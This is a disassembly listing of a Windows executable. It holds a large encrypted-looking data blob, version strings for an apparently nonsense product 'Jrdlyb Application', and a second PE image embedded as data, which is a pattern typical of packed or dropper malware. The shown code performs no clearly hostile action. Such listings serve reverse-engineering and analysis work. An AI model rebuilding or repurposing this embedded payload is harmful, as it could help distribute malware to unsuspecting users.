		dd 0FBDE1745h, 0DD74476h, 0C7A4DCD6h, 6D7DCCBh,	813588h
		dd 65AE674Dh, 30276F90h
		dd 98F82380h, 67453C76h, 0A4303497h, 2A52E39Ch,	438B2AC8h
		dd 0FD05B846h, 41799CC1h, 0B19B48E8h, 0FE35148h, 24862752h
		dd 2C9C8D53h, 713CF8E2h, 6C661822h, 20336422h, 64D792E5h
		dd 1F7C84D0h, 0D7A5A022h, 56C2AE74h, 0C53961D6h, 0D81312B4h
		dd 7356D490h, 4DE9EDE2h, 99FBFD8Ah, 0D885D6A6h,	0CBB85543h
		dd 0B31195EAh, 0D72AAB4Ah, 0A3CF61B8h, 0DC45D6EFh, 0D77D70DDh
		dd 0B4BF91C5h, 410939Ch, 21497E6Ch, 0E8ACB47Ah,	0CC395052h
		dd 0EF465F07h, 0C0D8F882h, 3ED0A9CCh, 907B072Ah, 5DDA5D68h
		dd 0BC0D8AA8h, 0E51F7D13h, 6F669D4Dh, 0C0D04E8Dh, 65F50240h
		dd 0F4D4F1B3h, 0EB421BD9h, 3EBC8EE5h, 0ECA9BEDBh, 536A1135h
		dd 7065C03Ch, 0D95DBC23h, 159F24AFh, 6194C9C5h,	1B09ED3Ah
		dd 910694B7h, 0A6F80C51h, 322FC294h, 35A0010Eh,	21E39C5Dh
		dd 4991A017h, 0A7FD048Ch, 7365E0C5h, 20A86DCEh,	0A85FDC18h
		dd 51539F0Ch, 0A6E78B23h, 1AD104CFh, 0DD8FE4C9h, 0DE19405Eh
		dd 5EC51154h, 10969513h, 119DF61Eh, 2DB54680h, 0B7DD3FCAh
		dd 0EF75182Ch, 5A36D0ACh, 8A2C3F8Dh, 0FD95D232h, 4BE15EA1h
		dd 0DF7FDAD4h, 2298711Eh, 1521DEh, 27EE6B4Ah, 0C9E0DB41h
		dd 0E430CB21h, 2FDCF8CDh, 80788555h, 733C0BA6h,	2C458C0Ah
		dd 53337A8h, 257F0C02h,	1893D356h, 0D03593CBh, 65886EC9h
		dd 5EE66AFBh, 0BFF3922Dh, 0BA964FBAh, 78301851h, 9E1E3776h
		dd 2BEF6041h, 0D2AC9B22h, 4C547268h, 0E76719D8h, 0BE120CABh
		dd 343CF9FCh, 0C221C4h,	718A0EB9h, 809AA8BBh, 470CD355h
		dd 82155F60h, 0B0DD3256h, 172767B2h, 88F37B8Bh,	0E6E3735Bh
		dd 0CEF3DB87h, 3558CFD0h, 0D4B69A01h, 8FDA5C43h, 0AE7CA89Eh
		dd 0DF21A9Eh, 2309DC9h,	638FEA67h, 0F2CA9395h, 0ABC2C9E4h
		dd 0BD1D6C57h, 7B461340h, 61C6369Ah, 0D03FDA4h,	23890A43h
		dd 2FB720ECh, 6C49F36Bh, 0A55140Dh, 0FF20D62Ah,	2E79C5FDh
		dd 9DB43AFFh, 0F2931EBDh, 4418EE8h, 0C8A22D26h,	0E5665F66h
		dd 9B6414B3h, 9BA2A559h, 0A3E6933Dh, 541CFBC1h,	24A01FDBh
		dd 0A95013A3h, 1A5BA4FBh, 0B63C2FB4h, 715CCDF9h, 689F8082h
		dd 0FE4F494Fh, 2DD04D9Dh, 7CC95B21h, 5A1F88A4h,	2A2609A3h
		dd 0B0ACE1E6h, 0F8A601D0h, 8F0A90Fh, 0A14D04FFh, 5B278C3h
		dd 0B566C87Fh, 0FBA3CB1Eh, 731B8BBh, 28A5FE8Fh,	48A529D9h
		dd 66D98D8Eh, 0A5CA95F0h, 6F5924B3h, 0E48DADF4h, 0DC2A3424h
		dd 0D2F92F9Ch, 0D09F5EA5h, 0D0B5AFB3h, 0A3AF769Ch, 5FD1385Ah
		dd 0F756A678h, 85B016BBh, 344E2214h, 6FF67603h,	42F97568h
		dd 0EA6DFDB2h, 36509AB6h, 4B59012Fh, 1DEF392Bh,	5AD1A19Fh
		dd 0F2FE74DFh, 0FBF0DDCCh, 78AB309Fh, 3EAE31FCh, 6F234F76h
		dd 3B7BBBA0h, 15482880h, 113E5DC3h, 264E2861h, 68B567B1h
		dd 7DFF9D6h, 6CF4E748h,	1A0BA9ACh, 0E0AE6915h, 5A8BB702h
		dd 64D3E45Eh, 5BC6E21Dh, 4586080Ah, 70F35687h, 5D6B67Fh
		dd 22F7D7h, 0D94FD348h,	0D5E203BFh, 0FA30190Ch,	76D356Dh
		dd 8BC8182Eh, 5A10CAE3h, 274551Ch, 2F5FED7Dh, 9FE4747Bh
		dd 7310549h, 0A0E61B52h, 169EFE26h, 0E6EA2FF6h,	0CC7108BEh
		dd 6AAF7E2Bh, 1D0FD12Ch, 0BC46684Ch, 402E5638h,	216D93DCh
		dd 0F1FF6276h, 3EE5F0CEh, 0E2C004EDh, 87295538h, 0FFA68312h
		dd 45F58D96h, 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h,	7DBA24E0h
		dd 18E71A33h, 0A6F8FED8h, 820B3D0Bh, 10A5305h, 2D871E30h
		dd 78B4157Fh, 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 97B836D7h
		dd 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh
		dd 0C88D7DFAh, 2FAD99D7h, 21338A4Bh, 428314B0h,	0E2CA9611h
		dd 1E8F4AFCh, 5B019F36h, 912D9119h, 859CF8ABh, 0B1A2E343h
		dd 0AF052025h, 713FD9DEh, 0A0274AD6h, 654F1128h, 46AA2BD4h
		dd 0F45E2C60h, 7B2EFEC2h, 60D83AE2h, 16F7538Ah,	1F1B7219h
		dd 432CB3EDh, 5156467Dh, 38807BE2h, 3063E4B0h, 7EA53E3Ch
		dd 0B56C02ADh, 8DA09857h, 335BD7DBh, 7CD30D20h,	0A15295D5h
		dd 8A945BC5h, 10FC5C06h, 699D3642h, 0B40F9897h,	0C7E5FADAh
		dd 60ECD124h, 0F13798C8h, 6A5BBEEBh, 3FC1557Fh,	0F811B513h
		dd 0DB83AAFEh, 0EE9F50DFh, 87295538h, 0FFA68312h, 45F58D96h
		dd 0F4F5FB3Eh, 42C45CA7h, 8FD0B2A8h, 7DBA24E0h,	18E71A33h
		dd 0A6F8FED8h, 820B3D0Bh, 10A5305h, 2D871E30h, 78B4157Fh
		dd 7AFC18EDh, 0D3801B6Fh, 0C9A03FF1h, 97B836D7h, 0DAB0676Eh
		dd 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h
		dd 264F7124h, 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h
		dd 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h,	1F0B601Fh
		dd 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h
		dd 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah, 3D5B0B24h
		dd 4F3C8532h, 38807BE2h, 3063E4B0h, 7EA53E3Ch, 0B56C02ADh
		dd 8DA09857h, 335BD7DBh, 7CD30D20h, 0A15295D5h,	8A945BC5h
		dd 10FC5C06h, 699D3642h, 0B40F9897h, 0C7E5FADAh, 60ECD124h
		dd 0F13798C8h, 6A5BBEEBh, 3FC1557Fh, 0F811B513h, 0DB83AAFEh
		dd 0EE9F50DFh, 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh
		dd 42C45CA7h, 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h
		dd 820B3D0Bh, 10A5305h,	2D871E30h, 78B4157Fh, 7AFC18EDh
		dd 0D3801B6Fh, 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h
		dd 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h,	264F7124h
		dd 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh
		dd 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh,	0CBB99025h
		dd 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh
		dd 91FE5E96h, 3F32705Ch, 7696F17Ah, 3D5B0B24h, 4F3C8532h
		dd 38807BE2h, 3063E4B0h, 0EA462E78h, 9A911E36h,	5538B749h
		dd 0B42DCE1Fh, 4C6FC879h, 9A384C32h, 0AEC32A1Ah, 0C93809F2h
		dd 0D0F9A159h, 96519B18h, 0C3BE1AF3h, 0A468B1Dh, 5F21CA8Ah
		dd 0C39A787Ah, 3FC1557Fh, 0F811B513h, 0DB83AAFEh, 0EE9F50DFh
		dd 0CCEF03B6h, 807E3681h, 9657183Bh, 32DBEE03h,	0E8F25908h
		dd 997EAFFFh, 3B5689C7h, 0DF0BFEADh, 602CABCh, 9F829CE2h
		dd 658394CCh, 0B81998AEh, 0F800245Bh, 935D0CD6h, 0A39A5F03h
		dd 750B6524h, 0A8B42615h, 0FAA709F5h, 0E1E256F8h, 0D5EA92Ah
		dd 0D7AA0E1Bh, 15753E5Dh, 4213CF67h, 264F7124h,	0BF3FC63Bh
		dd 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh,	4456BCCCh
		dd 197C0630h, 0BBBF5107h, 1F0B601Fh, 0CBB99025h, 0BF6FABB4h
		dd 635BBC94h, 0F6508282h, 63D20CF5h, 0FE884558h, 26C3D986h
		dd 97EFC822h, 2EAF559Bh, 0A0DD4750h, 0C5CEC729h, 6514C4A8h
		dd 6E83161Dh, 12EEB93Fh, 6B33DD4Dh, 0D430DCF2h,	1D3AE217h
		dd 5DEFDD4Ah, 857085E0h, 293AAC34h, 735C8271h, 926281B1h
		dd 0DE4DB333h, 78C6390Fh, 0E92A63ADh, 186D5D21h, 99C56F26h
		dd 0ABDDEE50h, 245D52D0h, 363BD10Ah, 1549A2B2h,	5FEEE431h
		dd 8A659348h, 1CEEEBBh,	0F874F7BFh, 8121B9F4h, 5D80BE89h
		dd 0BC53F13Fh, 14A0C8A5h, 0AE94A48Ah, 32FA6CC6h, 4D97B59h
		dd 0A36A6564h, 7443848Ah, 0B3005840h, 0FCA8459Ch, 0F278F987h
		dd 97B836D7h, 0DAB0676Eh, 0E1E256F8h, 0D5EA92Ah, 0D7AA0E1Bh
		dd 15753E5Dh, 4213CF67h, 264F7124h, 0BF3FC63Bh,	0E80E229Dh
		dd 388D8ADCh, 6C309C47h
		dd 6A0C3E8Eh, 4456BCCCh, 197C0630h, 0BBBF5107h,	1F0B601Fh
		dd 0CBB99025h, 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h
		dd 2D9CADEEh, 91FE5E96h, 3F32705Ch, 7696F17Ah, 0B50DDCBDh
		dd 2A545287h, 27275BCFh, 6D1F5985h, 0E67AB3C5h,	683D0D36h
		dd 896E1C60h, 19EA5AAAh, 1FDCEE5Ch, 0C0A46E90h,	9A3652Bh
		dd 4477C5BDh, 7A92EB8Dh, 1C90B7E2h, 57F60C4Eh, 17187688h
		dd 0F8C9F15Bh, 0A7AFD5EBh, 411CAA48h, 0C77A326Bh, 0C3254273h
		dd 1A5ECEF9h, 0E9C7AFBDh, 0EF570137h, 0BA127486h, 0B6D330E0h
		dd 75AE1E60h, 0E50E2FB1h, 0D2ACE0F9h, 0E94A51BBh, 0C4482025h
		dd 8731B52h, 3388BBBFh,	589BDABh, 0BC4F9972h, 9F4D7985h
		dd 7FEAFD0Fh, 0FBB68C2h, 910C0457h, 5EF8C934h, 6DA60BF9h
		dd 2281A45Dh, 0B0E2474h, 1BF83309h, 638A0C2Bh, 29208ED2h
		dd 61273FF5h, 66DBE084h, 0B884ACD3h, 427C541Bh,	5C55E941h
		dd 3A1D6503h, 99B66DB5h, 170963A0h, 0BD3C0F26h,	13782409h
		dd 51A991F6h, 0C3F65050h, 609C3097h, 0D54FACEEh, 0D243EE26h
		dd 82720D97h, 0C7B03521h, 5F66D49Bh, 0D3376882h, 35E338FFh
		dd 290C6C75h, 29B7B33Ah, 98369834h, 24B3935Ah, 0C7D1B78Fh
		dd 68C58DEAh, 271F9DE6h, 0F51C1239h, 5368B766h,	0B44C144Bh
		dd 0E5227F09h, 7F924DA5h, 1C2A4F22h, 46AA9FC3h,	0FDC284D8h
		dd 9FE52F5Eh, 5B26787h,	7478E7A2h, 45A66B87h, 63C9D40Ch
		dd 7FC21E4h, 11023E4Dh,	0B4165EEFh, 0FC976DD7h,	26D82C87h
		dd 39AC40E0h, 0A9982CC8h, 0E5C3092h, 0A16D2B4Bh, 30BA3CCFh
		dd 75E3041Eh, 136F55C4h, 3EEB007Dh, 45324C89h, 93D97FC8h
		dd 0AE63306Dh, 0DA238E69h, 7ACD0C2Dh, 2B61880Eh, 5DA74525h
		dd 4CC97B3Dh, 0D391BEDFh, 5C9DD35Fh, 0E37236D0h, 1B3AA77Eh
		dd 7F64A114h, 94A5D29Ah, 463ECF38h, 9F785906h, 0BB392483h
		dd 0B67267B8h, 0FB28FEE5h, 1B124DD5h, 9D103F59h, 6861414Ch
		dd 0B87F7859h, 4F935FEDh, 502C9D65h, 398469h, 5214E95Dh
		dd 0E2C01823h, 0AAD5510Dh, 14E84651h, 7489AC73h, 90AD7BC9h
		dd 91BE9933h, 48FCC926h, 87B9D25Dh, 6B01963Dh, 5DE03D28h
		dd 0B9456F4Ah, 1C21EFD3h, 1237C68Eh, 4091CB07h,	0E80CF7A3h
		dd 8F2A3B48h, 77748A18h, 0BF2F525Fh, 23EF6376h,	8FEEBB21h
		dd 686A4CEh, 2AE05AA8h,	2CE8FE82h, 0C9820855h, 807A1D3Dh
		dd 63AA2483h, 888D5CA2h, 1C2A64D3h, 77525548h, 648F5A90h
		dd 2DEBE222h, 7804CEDCh, 24F50F6h, 0F43DF08Bh, 36BE492Ah
		dd 0F262473Ch, 31EF04DEh, 5F8634AAh, 0DADC998Eh, 5BD0B7AFh
		dd 8D1A04E2h, 5F4FA99Ah, 0AC244D09h, 1440FD19h,	1E48E91Eh
		dd 0B2826938h, 42AE44E2h, 4ADFAC60h, 0CE77D56h,	8F866F97h
		dd 83515ECFh, 743909F8h, 0FD908374h, 2732226Eh,	0FCD144CFh
		dd 975E9B05h, 88418294h, 2391EE14h, 0B7BFE743h,	0CB62A0A9h
		dd 50D65A86h, 0B895E6D0h, 0C693EFC0h, 49713E1Eh, 0C5D778AFh
		dd 0E5BCCA0Eh, 2EEAE173h, 14FCB038h, 4FDABB55h,	0ECB10158h
		dd 8D19558Ah, 9A3E3181h, 20083F71h, 53595866h, 0DE447608h
		dd 0F9B3CBA1h, 0FE0C91A3h, 0A1B3A4D2h, 9D588215h, 689546E4h
		dd 0C9A5C6B7h, 0F5152EFFh, 9B0452D3h, 0AD1BE116h, 0AAC93B46h
		dd 0DA20FEA4h, 7B688E88h, 1B69A6ACh, 0AB9FA4DDh, 9F83CCC8h
		dd 956FCEB9h, 0EFD6F67Ah, 734FBEB7h, 7F0AABCh, 74E8CC1Dh
		dd 4B685658h, 47FDCEFFh, 0A7851577h, 780EE683h,	90BEEC29h
		dd 15DFBA8Eh, 19608D46h, 0F74DC7E6h, 498980CDh,	0C854CB95h
		dd 2604D697h, 8B7ED5ECh, 45546CDAh, 11854308h, 0BDE02654h
		dd 59F60FFBh, 0C7E48A51h, 7064242Dh, 419C3D5h, 7F5D0B49h
		dd 505996Ch, 0BD2EDB1Dh, 7D709698h, 9A812CA9h, 0D24D4F49h
		dd 7B0C62F1h, 0FD205466h, 537229A2h, 7C83332Ch,	1D1DDA84h
		dd 72E7BFD6h, 0CADB15E9h, 0DBD8E16Bh, 2888F3DCh, 0AB67CA26h
		dd 5C92E46Ch, 0FDF8B52Ah, 85739881h, 0A37F9321h, 0C824DD69h
		dd 9303A91Eh, 972932CAh, 86FEC1DEh, 69D1BC7Ah, 407D754Ah
		dd 84B2BC39h, 0BBA7140Ch, 35C1FF9Bh, 0D731A53Fh, 68C36134h
		dd 0E7C14235h, 0ADF63D38h, 9920EF64h, 0FE958196h, 0FBC9B546h
		dd 19A1DBFh, 48C9C459h,	52A1C01Fh, 0AFBE78BFh, 76F17999h
		dd 0CCC31C90h, 24EA73B6h, 5A1198B4h, 488897DFh,	0F26EE34Ch
		dd 7E5DF184h, 0EA32E77Eh, 78D75E8h, 144B1D03h, 27FF44C3h
		dd 3B209460h, 83431556h, 4AE9A071h, 0B0D80DECh,	2758AF89h
		dd 3849A4Ch, 152AE0B5h,	0BAEDF4C1h, 9AD8F298h, 0AAE7C929h
		dd 0D4B7127Dh, 0A884CBD4h, 9EA2CED8h, 0AFB870F3h, 0A418F0FBh
		dd 0EA30A99Eh, 0BA8E13EAh, 5D5ACA72h, 0EED77EABh, 62C16862h
		dd 0BE1A7E12h, 0E5CA9D59h, 1E2E896Bh, 0BA212985h, 0DDA71BA0h
		dd 1820052Dh, 949CE575h, 0BB73F4AAh, 0AC71E5Bh,	875125DDh
		dd 0EA5C0D38h, 38807BE2h, 3063E4B0h, 7EA53E3Ch,	0B56C02ADh
		dd 8DA09857h, 335BD7DBh, 7CD30D20h, 0A15295D5h,	8A945BC5h
		dd 10FC5C06h, 699D3642h, 0B40F9897h, 0C7E5FADAh, 60ECD124h
		dd 0F13798C8h, 6A5BBEEBh, 3FC1557Fh, 0F811B513h, 0DB83AAFEh
		dd 0EE9F50DFh, 87295538h, 0FFA68312h, 45F58D96h, 0F4F5FB3Eh
		dd 42C45CA7h, 8FD0B2A8h, 7DBA24E0h, 18E71A33h, 0A6F8FED8h
		dd 820B3D0Bh, 10A5305h,	2D871E30h, 78B4157Fh, 7AFC18EDh
		dd 0D3801B6Fh, 0C9A03FF1h, 97B836D7h, 0DAB0676Eh, 0E1E256F8h
		dd 0D5EA92Ah, 0D7AA0E1Bh, 15753E5Dh, 4213CF67h,	264F7124h
		dd 0BF3FC63Bh, 0E80E229Dh, 388D8ADCh, 6C309C47h, 6A0C3E8Eh
		dd 4456BCCCh, 197C0630h, 0BBBF5107h, 1F0B601Fh,	0CBB99025h
		dd 0BF6FABB4h, 635BBC94h, 0F6508282h, 63D20CF5h, 2D9CADEEh
		dd 91FE5E96h, 3F32705Ch, 7696F17Ah, 5E1CF9E4h, 0FA15EA4Eh
		dd 0EE87647Dh, 905DDCCDh, 0D37BD30Bh, 6070FD76h, 327FD107h
		dd 9B86EE26h, 15B14082h, 0FBD685F2h, 0A56D3426h, 64D583Bh
		dd 0B1B6AB5Ah, 0D29D696Ah, 29AF328Dh, 83388170h, 0C1906513h
		dd 43C6B920h, 93D1D2DFh, 0E56B21E7h, 9F1B3780h,	2AD6D1EFh
		dd 2768B29Bh, 0B4AA8CBDh, 0DDE92929h, 5AAFE5D6h, 0C4970908h
		dd 113E410Fh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h
		dd 9D7271EEh, 0DAD29296h, 9D7271EEh, 0DAD29296h, 9D7271EEh
		dd 0DAD29296h, 9D7271EEh, 136h dup(0)
		dd 86h,	4Ch dup(0)
		dd 10000h, 10h,	80000018h, 3 dup(0)
		dd 1, 80000058h, 80000030h, 3 dup(0)
		dd 10000h, 409h, 48h, 38080h, 25Eh, 2 dup(0)
		dd 56000Fh, 5F0053h, 450056h, 530052h, 4F0049h,	5F004Eh
		dd 4E0049h, 4F0046h, 2 dup(0)
		dd 34025Eh, 560000h, 5F0053h, 450056h, 530052h,	4F0049h
		dd 5F004Eh, 4E0049h, 4F0046h, 0
		dd 0FEEF04BDh, 10000h, 40002h, 20004h, 40002h, 20004h
		dd 17h,	0
		dd 4, 1, 3 dup(0)
		dd 202h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
		dd 66006Eh, 6Fh, 1DEh, 300001h,	310034h, 300039h, 620034h
		dd 30h,	13004Eh, 460001h, 6C0069h, 440065h, 730065h, 720063h
		dd 700069h, 690074h, 6E006Fh, 0
aJrdlybApplicat:
		unicode	0, <Jrdlyb Application>,0
		align 4
a6:
		unicode	0, <6>
		dw 0Bh
		dd 460001h, 6C0069h, 560065h, 720065h, 690073h,	6E006Fh
		dd 0
a4224:
		unicode	0, <4, 2, 2, 4>,0
		align 10h
a_:
		unicode	0, <.>
		dw 7
		dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch,	6D0061h
		dd 65h,	72004Ah, 6C0064h, 620079h, 0
		dd 13004Ah, 4C0001h, 670065h, 6C0061h, 6F0043h,	790070h
		dd 690072h, 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h
		dd 200074h, 430028h, 200029h, 300032h, 380030h,	0
		dd 0B003Eh, 4F0001h, 690072h, 690067h, 61006Eh,	46006Ch
		dd 6C0069h, 6E0065h, 6D0061h, 65h, 72004Ah, 6C0064h, 620079h
		dd 65002Eh, 650078h, 0
		dd 130046h, 500001h, 6F0072h, 750064h, 740063h,	61004Eh
		dd 65006Dh, 0
aJrdlybApplic_0:
		unicode	0, <Jrdlyb Application>,0
		align 4
		unicode	0, <:>
		dw 0Bh
		dd 500001h, 6F0072h, 750064h, 740063h, 650056h,	730072h
		dd 6F0069h, 6Eh, 2C0034h, 320020h, 20002Ch, 2C0032h, 340020h
		dd 49h dup(0)
aPaddingxxpaddi	db 'PADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGP'
		db 'ADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPA'
		db 'DDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPAD'
		db 'DINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD'
		db 'INGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDI'
		db 'NGXXPADDINGPADDINGXXPADDING',0
		align 4
		dd 1Eh dup(0)
		db 3 dup(0)
dword_3EF67F	dd 1B600h			align 10h
dword_3EF690	dd 0							; sub_3D10B2+3Dw
dword_3EF694	dd 0							; sub_3D10B2+61w
dword_3EF698	dd 3D0000h						; sub_3D1080:loc_3D1095r ...
off_3EF69C	dd offset dword_400000	; DATA XREF: sub_3D1050+Dr
					; sub_3D1080+Dr ...
		dd 4258h dup(0)
dword_400000	dd 505A4Dh, 2, 0F0004h,	0FFFFh,	0B8h, 0		dd 1A0040h, 8 dup(0)
		dd 100h, 0E0010BAh, 0CD09B41Fh,	4C01B821h, 909021CDh, 73696854h
		dd 6F727020h, 6D617267h, 73756D20h, 65622074h, 6E757220h
		dd 646E7520h, 57207265h, 32336E69h, 37240A0Dh, 22h dup(0)
		dd 4550h, 8014Ch, 2A425E19h, 2 dup(0)
		dd 818E00E0h, 1902010Bh, 2600h,	18C00h,	0
		dd 3540h, 1000h, 4000h,	400000h, 1000h,	200h, 4, 0
		dd 4, 0
		dd 22000h, 400h, 0
		dd 2, 100000h, 4000h, 100000h, 1000h, 0
		dd 10h,	2 dup(0)
		dd 6000h, 446h,	0A000h,	17CA0h,	4 dup(0)
		dd 9000h, 30Ch,	6 dup(0)
		dd 8000h, 18h, 0Ch dup(0)
aCode_0		db 'CODE',0
		align 10h
		db 'l%',0
		align 4
		dd 1000h, 2600h, 400h, 3 dup(0)
		dd 60000020h, 41544144h, 0
		dd 0A0h, 4000h,	200h, 2A00h, 3 dup(0)
		dd 0C0000040h, 535342h,	0
		dd 665h, 5000h,	0
		dd 2C00h, 3 dup(0)
		dd 0C0000000h, 6164692Eh, 6174h, 446h, 6000h, 600h, 2C00h
		dd 3 dup(0)
		dd 0C0000040h, 736C742Eh, 0
		dd 8, 7000h, 0
		dd 3200h, 3 dup(0)
		dd 0C0000000h, 6164722Eh, 6174h, 18h, 8000h, 200h, 3200h
		dd 3 dup(0)
		dd 50000040h, 6C65722Eh, 636Fh,	30Ch, 9000h, 400h, 3400h
		dd 3 dup(0)
		dd 50000040h, 7273722Eh, 63h, 17CA0h, 0A000h, 17E00h, 3800h
		dd 3 dup(0)
		dd 50000040h, 3	dup(0)
		dd 0B000h, 0
		dd 3A00h, 3 dup(0)
		dd 50000040h, 328h dup(0)

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401000	proc near		; CODE XREF: sub_402D70+39p
					; sub_402D70+54p
		jmp	dword_4060C8
sub_401000	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
dword_401008	dd 60C425FFh, 0C08B0040hdword_401010	dd 60C025FFh, 0C08B0040h, 60BC25FFh, 0C08B0040h					; sub_402CA4+Ao

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401020	proc near		; CODE XREF: sub_402D70+3Fp
					; sub_402D70+5Ap
		jmp	dword_4060B8
sub_401020	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401028	proc near		; CODE XREF: sub_402DFC+BAp
		jmp	dword_4060B4
sub_401028	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401030	proc near		; CODE XREF: sub_402D70+78p
		jmp	dword_4060D4
sub_401030	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401038	proc near		; CODE XREF: sub_402DFC+85p
		jmp	dword_4060B0
sub_401038	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
		dd 60AC25FFh, 0C08B0040h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401048	proc near		; CODE XREF: .data:0040308Ep
		jmp	dword_4060A8
sub_401048	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
		dd 60A425FFh, 0C08B0040h, 60A025FFh, 0C08B0040h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401060	proc near		; CODE XREF: .data:004026FBp
		jmp	dword_4060E4
sub_401060	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401068	proc near		; CODE XREF: .data:004026B2p
		jmp	dword_4060E0
sub_401068	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_401070	proc near		; CODE XREF: .data:004026E5p
		jmp	dword_4060DC
sub_401070	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh
		dd 609C25FFh, 0C08B0040h, 609825FFh, 0C08B0040h, 0BCC48353h
		dd 0ABBh, 0B9E85400h, 0F6FFFFFFh, 12C2444h, 0B70F0574h
		dd 8B30245Ch, 44C483C3h, 0C08BC35Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010AC	proc near		; CODE XREF: sub_4010EC+13p
					; sub_401778+53p
		jmp	dword_406094
sub_4010AC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010B4	proc near		; CODE XREF: sub_40183C+3Fp
					; sub_40183C+9Dp
		jmp	dword_406090
sub_4010B4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010BC	proc near		; CODE XREF: sub_401290+2Fp
					; sub_4012F4+1Ep ...
		jmp	dword_40608C
sub_4010BC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010C4	proc near		; CODE XREF: sub_401290+56p
					; sub_4012F4+69p ...
		jmp	dword_406088
sub_4010C4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010CC	proc near		; CODE XREF: sub_401778+16p
		jmp	dword_406084
sub_4010CC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010D4	proc near		; CODE XREF: sub_401778+29p
					; sub_40183C+2Dp ...
		jmp	dword_406080
sub_4010D4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010DC	proc near		; CODE XREF: sub_401778+B0p
					; sub_40183C+C6p ...
		jmp	dword_40607C
sub_4010DC	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4010E4	proc near		; CODE XREF: sub_40183C+D0p
		jmp	dword_406078
sub_4010E4	endp

; ---------------------------------------------------------------------------
		dw 0C08Bh

; =============== S U B	R O U T	I N E =======================================



sub_4010EC	proc near		; CODE XREF: sub_401144+6p
		push	ebx
		push	esi
		mov	esi, offset dword_4055D0
		cmp	dword ptr [esi], 0
		jnz	short loc_401132
		push	644h
		push	0
		call	sub_4010AC	; LocalAlloc
		mov	ecx, eax
		test	ecx, ecx
		jnz	short loc_40110F
		xor	eax, eax
